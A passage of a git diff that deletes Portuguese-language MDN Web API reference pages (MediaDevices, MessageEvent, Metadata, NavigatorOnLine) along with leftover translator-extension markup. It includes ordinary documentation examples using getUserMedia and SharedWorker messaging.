-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/web/api/mediadevices/index.html b/files/pt-pt/web/api/mediadevices/index.html
deleted file mode 100644
index 68ea5de783..0000000000
--- a/files/pt-pt/web/api/mediadevices/index.html
+++ /dev/null
@@ -1,263 +0,0 @@
----
-title: MediaDevices
-slug: Web/API/MediaDevices
-tags:
- - API
- - Devices
- - Interface
- - Media
- - Media Capture and Streams API
- - Media Streams API
- - MediaDevices
- - NeedsTranslation
- - Reference
- - TopicStub
- - WebRTC
-translation_of: Web/API/MediaDevices
----
-<div>{{APIRef("Media Capture and Streams")}}{{SeeCompatTable}}</div>
-
-<p><span class="seoSummary">The <strong><code>MediaDevices</code></strong> interface provides access to connected media input devices like cameras and microphones, as well as screen sharing. In essence, it lets you obtain access to any hardware source of media data.</span></p>
-
-<h2 id="Properties">Properties</h2>
-
-<p><em>Inherits properties from its parent {{domxref("EventTarget")}}.</em></p>
-
-<h3 id="Handlers" name="Handlers">Event handlers</h3>
-
-<dl>
- <dt>{{ domxref("MediaDevices.ondevicechange") }}</dt>
- <dd>The event handler for the {{event("devicechange")}} event. This event is delivered to the <code>MediaDevices</code> object when a media input or output device is attached to or removed from the user's computer.</dd>
-</dl>
-
-<h2 id="Methods">Methods</h2>
-
-<p><em>Inherits methods from its parent {{domxref("EventTarget")}}.</em></p>
-
-<dl>
- <dt>{{ domxref("EventTarget.addEventListener()") }}</dt>
- <dd>Registers an event handler to a specific event type.</dd>
- <dt>{{ domxref("MediaDevices.enumerateDevices()") }}</dt>
- <dd>Obtains an array of information about the media input and output devices available on the system.</dd>
- <dt>{{domxref("MediaDevices.getSupportedConstraints()")}}</dt>
- <dd>Returns an object conforming to {{domxref("MediaTrackSupportedConstraints")}} indicating which constrainable properties are supported on the {{domxref("MediaStreamTrack")}} interface. See {{SectionOnPage("/en-US/docs/Web/API/Media_Streams_API", "Capabilities and constraints")}} to learn more about constraints and how to use them.</dd>
- <dt>{{ domxref("MediaDevices.getUserMedia()") }}</dt>
- <dd>With the user's permission through a prompt, turns on a camera or screensharing and/or a microphone on the system and provides a {{domxref("MediaStream")}} containing a video track and/or an audio track with the input.</dd>
- <dt>{{ domxref("EventTarget.removeEventListener()") }}</dt>
- <dd>Removes an event listener.</dd>
-</dl>
-
-<h2 id="Example">Example</h2>
-
-<pre class="brush:js">'use strict';
-
-// Put variables in global scope to make them available to the browser console.
-var video = document.querySelector('video');
-var constraints = window.constraints = {
- audio: false,
- video: true
-};
-var errorElement = document.querySelector('#errorMsg');
-
-navigator.mediaDevices.getUserMedia(constraints)
-.then(function(stream) {
- var videoTracks = stream.getVideoTracks();
- console.log('Got stream with constraints:', constraints);
- console.log('Using video device: ' + videoTracks[0].label);
- stream.onremovetrack = function() {
- console.log('Stream ended');
- };
- window.stream = stream; // make variable available to browser console
- video.srcObject = stream;
-})
-.catch(function(error) {
- if (error.name === 'ConstraintNotSatisfiedError') {
- errorMsg('The resolution ' + constraints.video.width.exact + 'x' +
- constraints.video.width.exact + ' px is not supported by your device.');
- } else if (error.name === 'PermissionDeniedError') {
- errorMsg('Permissions have not been granted to use your camera and ' +
- 'microphone, you need to allow the page access to your devices in ' +
- 'order for the demo to work.');
- }
- errorMsg('getUserMedia error: ' + error.name, error);
-});
-
-function errorMsg(msg, error) {
- errorElement.innerHTML += '&lt;p&gt;' + msg + '&lt;/p&gt;';
- if (typeof error !== 'undefined') {
- console.error(error);
- }
-}</pre>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- <tr>
- <td>{{SpecName('Media Capture', '#mediadevices', 'MediaDevices')}}</td>
- <td>{{Spec2('Media Capture')}}</td>
- <td>Initial definition</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Browser_compatibility">Browser compatibility</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Edge</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatChrome(47)}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoDesktop("36.0")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatOpera(30)}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>enumerateDevices()</code></td>
- <td>{{CompatChrome(51)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatOpera(38)}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>getSupportedConstraints()</code></td>
- <td>{{CompatChrome(53)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop(44)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatOpera(40)}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>ondevicechange</code> and <code>devicechange</code> events</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop(51)}}<sup>[1]</sup></td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>Stereo audio capture</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoDesktop(55)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android Webview</th>
- <th>Chrome for Android</th>
- <th>Edge</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>Firefox OS</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- <th>Chrome for Android</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>{{CompatChrome(47)}}</td>
- <td>{{CompatChrome(47)}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatGeckoMobile("36.0")}}</td>
- <td>2.2</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatOperaMobile(30)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>enumerateDevices()</code></td>
- <td>{{CompatChrome(51)}}</td>
- <td>{{CompatChrome(51)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatOperaMobile(38)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>getSupportedConstraints()</code></td>
- <td>{{CompatChrome(53)}}</td>
- <td>{{CompatChrome(52)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(50)}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatOperaMobile(40)}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td><code>ondevicechange</code> and <code>devicechange</code> events</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatGeckoMobile(51)}}<sup>[1]</sup></td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatVersionUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- <tr>
- <td>Stereo audio capture</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatUnknown}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-
-<p>[1] Support for the <code>devicechange</code> event and for {{domxref("MediaDevices.ondevicechange")}} landed in Firefox 51, but <em>only for Mac</em>, and disabled by default. It can be enabled by setting the preference <code>media.ondevicechange.enabled</code> to <code>true</code>. Support for this event was added for Linux and Windows—and it was enabled by default—starting in Firefox 52.</p>
-</div>
-
-<h2 id="See_also">See also</h2>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>: The API this interface is part of.</li>
- <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
- <li>{{domxref("Navigator.mediaDevices")}}: Returns a reference to a <code>MediaDevices</code> object that can be used to access devices.</li>
- <li><a href="https://github.com/chrisjohndigital/CameraCaptureJS">CameraCaptureJS:</a> HTML5 video capture and playback using MediaDevices and the MediaStream Recording API (<a href="https://github.com/chrisjohndigital/CameraCaptureJS">source on GitHub</a>)</li>
- <li><a href="https://github.com/chrisjohndigital/OpenLang">OpenLang</a>: HTML5 video language lab web application using MediaDevices and the MediaStream Recording API for video recording (<a href="https://github.com/chrisjohndigital/OpenLang">source on GitHub</a>)</li>
-</ul>
diff --git a/files/pt-pt/web/api/messageevent/index.html b/files/pt-pt/web/api/messageevent/index.html
deleted file mode 100644
index f69342523b..0000000000
--- a/files/pt-pt/web/api/messageevent/index.html
+++ /dev/null
@@ -1,139 +0,0 @@
----
-title: MessageEvent
-slug: Web/API/MessageEvent
-tags:
- - API
- - Canais
- - Interface
- - Mensagens
- - Referencia
- - WebSockets
- - Window
- - Workers
-translation_of: Web/API/MessageEvent
----
-<div>{{APIRef("HTML DOM")}}</div>
-
-<p>A interface <code><strong>MessageEvent</strong></code> representa a mensagem recebida pelo objeto alvo.</p>
-
-<p>É usado para representar mensagens em:</p>
-
-<ul>
- <li><a href="/en-US/docs/Web/API/Server-sent_events">Eventos enviados pelo servidor</a> (ver {{domxref("EventSource.onmessage")}}).</li>
- <li><a href="/pt-PT/docs/Web/API/WebSockets_API">Web sockets</a> (ver a propriedade <code>onmessage</code> da interface <a href="/en-US/docs/Web/API/WebSocket">WebSocket</a>).</li>
- <li>Envio de mensagens entre-documentos (ver {{domxref("Window.postMessage()")}} e {{domxref("Window.onmessage")}}).</li>
- <li><a href="/en-US/docs/Web/API/Channel_Messaging_API">Mensagens em canal</a> (ver {{domxref("MessagePort.postMessage()")}} e {{domxref("MessagePort.onmessage")}}).</li>
- <li>Envio de mensagens entre-documentos e entre-<em>workers</em> (ver as duas entradas acima, e tembém {{domxref("Worker.postMessage()")}}, {{domxref("Worker.onmessage")}}, {{domxref("ServiceWorkerGlobalScope.onmessage")}}, etc.)</li>
- <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Canais de transmissão</a> (ver {{domxref("Broadcastchannel.postMessage()")}}) e {{domxref("BroadcastChannel.onmessage")}}).</li>
- <li>Canais de transmissão de WebRTC (ver {{domxref("RTCDataChannel.onmessage")}}).</li>
-</ul>
-
-<p>A ação acionada por este evento é definida na função escolhida para ser o <em>event handler</em> do evento {{event("message")}} relevante (e.x. usar um <em>handler</em> <code>onmessage</code> como é menciondo antriormente).</p>
-
-<p>{{AvailableInWorkers}}<br>
- {{InheritanceDiagram(600, 80)}}</p>
-
-<h2 id="Construtor">Construtor</h2>
-
-<dl>
- <dt>{{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}</dt>
- <dd>Cria um <code>MessageEvent</code>.</dd>
-</dl>
-
-<h2 id="Propriedades">Propriedades</h2>
-
-<p><em>Esta interface também herda propriedades da interface {{domxref("Event")}}, </em> <em>de qual se deriva</em><em>.</em></p>
-
-<dl>
- <dt>{{domxref("MessageEvent.data")}} {{readonlyInline}}</dt>
- <dd>Os dados enviados pelo emissor da mensagem.</dd>
- <dt>{{domxref("MessageEvent.origin")}} {{readonlyInline}}</dt>
- <dd>Uma {{domxref("USVString")}} que representa a origem do emissor da mensagem.</dd>
- <dt>{{domxref("MessageEvent.lastEventId")}} {{readonlyInline}}</dt>
- <dd>Uma {{domxref("DOMString")}} que representa um ID único para o evento.</dd>
- <dt>{{domxref("MessageEvent.source")}} {{readonlyInline}}</dt>
- <dd>Uma <code>MessageEventSource</code> (que pode ser um objeto {{domxref("WindowProxy")}}, {{domxref("MessagePort")}}, ou {{domxref("ServiceWorker")}}) que representa o emissor da mensagem.</dd>
- <dt>{{domxref("MessageEvent.ports")}} {{readonlyInline}}</dt>
- <dd>Uma matriz de objetos {{domxref("MessagePort")}} que representam as portas ao canal por qual as mensagens são enviadas (onde for apropriado, por exemplo em mensagens via canais ou ao enviar uma mensagem a um <em>worker</em> partilhado).</dd>
-</dl>
-
-<h2 id="Métodos">Métodos</h2>
-
-<p><em>Esta interface também herda métodos de {{domxref("Event")}}, de qual se deriva.</em></p>
-
-<dl>
- <dt>{{domxref("MessageEvent.initMessageEvent","initMessageEvent()")}} {{deprecated_inline}}</dt>
- <dd>Inicializa um evento de mensagem. <strong>Não use</strong> — <strong>use antes o construtor {{domxref("MessageEvent.MessageEvent", "MessageEvent()")}}.</strong></dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<p>No nosso<a class="external external-icon" href="https://github.com/mdn/simple-shared-worker">exemplo básico dum <em>worker</em> partilhado</a>, temos duas páginas de HTML, cada qual usa JavaScript para fazer um simples cálculo. Os <em>scripts</em> diferentes estão a utilizar o mesmo ficheiro de <em>worker</em> para fazer os cálculos — ambos podem-no aceder, mesmo se as páginas estiverem a correr em janelas diferentes.</p>
-
-<p>O seguinte <em>snippet</em> de código demonstra a criação dum objeto {{domxref("SharedWorker")}} usando o construtor {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}. Ambas <em>scripts</em> contêm isto:</p>
-
-<pre class="brush: js notranslate">var myWorker = new SharedWorker('worker.js');
-</pre>
-
-<p>Ambas <em>scripts</em> acedem ao <em>worker</em> através dum objeto {{domxref("MessagePort")}} criado usando a propriedade {{domxref("SharedWorker.port")}}. Se o evento <code>onmessage</code> foi adicionado usando <code>addEventListener</code>, a porta é manualmente criada usando o seu método <code>start()</code>:</p>
-
-<pre class="brush: js notranslate">myWorker.port.start();</pre>
-
-<p>Quando a porta é iniciada, ambos <em>scripts</em> enviam mensagens ao <em>worker</em> e processão mensagens vindas do <em>worker</em> usando <code>port.postMessage()</code> e <code>port.onmessage</code>, respetivamente:</p>
-
-<pre class="brush: js notranslate">first.onchange = function() {
- myWorker.port.postMessage([first.value,second.value]);
- console.log('Mensagem enviada ao worker');
-}
-
-second.onchange = function() {
- myWorker.port.postMessage([first.value,second.value]);
- console.log('Mensagem enviada ao worker');
-}
-
-myWorker.port.onmessage = function(e) {
- result1.textContent = e.data;
- console.log('Mensagem recebida do worker');
-}</pre>
-
-<p>Dentro do <em>worker</em> usamos o <em>handler</em> {{domxref("SharedWorkerGlobalScope.onconnect")}} para nos ligarmos à mesma porta a que referimos antes. As portas associadas a esse <em>worker</em> são acessíveis através da propriedade <code>ports</code> do evento {{event("connect")}} — nós depois usamos o método <code>start()</code> de {{domxref("MessagePort")}} para iniciar a porta, e o <em>handler</em> <code>onmessage</code> para lidar com as mensagens enviadas dos <em>threads</em> principais.</p>
-
-<pre class="brush: js notranslate">onconnect = function(e) {
- var port = e.ports[0];
-
- port.addEventListener('message', function(e) {
- var workerResult = 'Result: ' + (e.data[0] * e.data[1]);
- port.postMessage(workerResult);
- });
-
- port.start(); // Necessário quando se usa addEventListener. Senão é chamado implicitamente pelo setter onmessage.
-}</pre>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('HTML WHATWG', "#messageevent", "MessageEvent")}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td></td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade">Compatibilidade</h2>
-
-
-
-<p>{{Compat("api.MessageEvent")}}</p>
-
-<h2 id="Ver_também">Ver também</h2>
-
-<ul>
- <li>{{domxref("ExtendableMessageEvent")}} — parecida a esta interface, mas usada como base de outras interfaces que necessitam dar mais flexibilidade aos seus utilizadores ou autores.</li>
-</ul>
diff --git a/files/pt-pt/web/api/metadata/index.html b/files/pt-pt/web/api/metadata/index.html
deleted file mode 100644
index de3b7848ef..0000000000
--- a/files/pt-pt/web/api/metadata/index.html
+++ /dev/null
@@ -1,117 +0,0 @@
----
-title: Metadados
-slug: Web/API/Metadata
-tags:
- - API
- - API Entradas de Diretoria e Ficheiro
- - API do Sistema de Ficheiros
- - Ficheiros
- - Interface
- - Não Padrão
- - Pff-line
- - Referencia
- - metadados
-translation_of: Web/API/Metadata
-original_slug: Web/API/Metadados
----
-<p>{{ APIRef("File System API") }}{{SeeCompatTable}}{{Non-standard_header}}</p>
-
-<p>A interface de <strong><code>Metadados</code></strong> é utilizada por <u>API Entradas de Diretoria e Ficheiro</u> para conter a informação sobre a entrada do sistema de ficheiros. Estes metadados incluem o tamanho do ficheiro e a data e hora da modificação.</p>
-
-<div class="note">
-<p>Esta interface não está disponível através do escopo global; em vez disso, pode obter um objeto <code>Metadata</code> descrevendo uma {{domxref("FileSystemEntry")}} utilizando o método {{domxref("FileSystemEntry.getMetadata()")}}.</p>
-</div>
-
-<h2 id="Propriedades" style="">Propriedades</h2>
-
-<dl>
- <dt>{{domxref("Metadata.modificationTime", "modificationTime")}} {{ReadOnlyInline}}</dt>
- <dd>A {{jsxref("Date")}} object indicating the date and time the entry was modified.</dd>
-</dl>
-
-<dl>
- <dt>{{domxref("Metadata.size", "size")}} {{ReadOnlyInline}}</dt>
- <dd>A 64-bit unsigned integer indicating the size of the entry in bytes.</dd>
-</dl>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('File System API')}}</td>
- <td>{{Spec2('File System API')}}</td>
- <td>Draft of proposed API</td>
- </tr>
- </tbody>
-</table>
-
-<p>Esta API não é uma especificação oficial de W3C ou WHATWG.</p>
-
-<h2 id="Browser_compatibility" name="Browser_compatibility">Compatibilidade de navegador</h2>
-
-<div>{{CompatibilityTable}}</div>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari (WebKit)</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>13 {{property_prefix("webkit")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Funcionalidade</th>
- <th>Android</th>
- <th>Chrome para Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Phone</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Suporte básico</td>
- <td>{{CompatNo}}</td>
- <td>0.16 {{property_prefix("webkit")}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- <td>{{CompatNo}}</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Web/API/API_Entradas_de_Diretoria_e_Ficheiro">API Entradas de Diretoria e Ficheiro</a></li>
- <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction">Introdução à API de Sistema de Ficheiros </a>(inglês)</li>
- <li>{{domxref("FileSystemEntry")}}</li>
- <li>{{domxref("FileSystemFileEntry")}} and {{domxref("FileSystemDirectoryEntry")}}</li>
-</ul>
diff --git a/files/pt-pt/web/api/navigatoronline/index.html b/files/pt-pt/web/api/navigatoronline/index.html
deleted file mode 100644
index 91197b69ef..0000000000
--- a/files/pt-pt/web/api/navigatoronline/index.html
+++ /dev/null
@@ -1,134 +0,0 @@
----
-title: NavigatorOnLine
-slug: Web/API/NavigatorOnLine
-tags:
- - API
- - HTML-DOM
- - NeedsTranslation
- - TopicStub
-translation_of: Web/API/NavigatorOnLine
----
-<p>{{APIRef("HTML DOM")}}</p>
-
-<p>The <code><strong>NavigatorOnLine</strong></code> interface contains methods and properties related to the connectivity status of the browser.</p>
-
-<p>There is no object of type <code>NavigatorOnLine</code>, but other interfaces, like {{domxref("Navigator")}} or {{domxref("WorkerNavigator")}}, implement it.</p>
-
-<h2 id="Properties">Properties</h2>
-
-<p><em>The <code>NavigatorOnLine</code></em><em> interface doesn't inherit any property.</em></p>
-
-<dl>
- <dt>{{domxref("NavigatorOnLine.onLine")}} {{readonlyInline}}</dt>
- <dd>Returns a {{domxref("Boolean")}} indicating whether the browser is working online.</dd>
-</dl>
-
-<h2 id="Methods">Methods</h2>
-
-<p><em>The </em><em><code>NavigatorOnLine</code></em><em> interface neither implements, nor inherit any method.</em></p>
-
-<h2 id="Specifications">Specifications</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Specification</th>
- <th scope="col">Status</th>
- <th scope="col">Comment</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('HTML WHATWG', '#navigatoronline', 'NavigatorOnLine')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td>No change from the latest snapshot, {{SpecName('HTML5 W3C')}}</td>
- </tr>
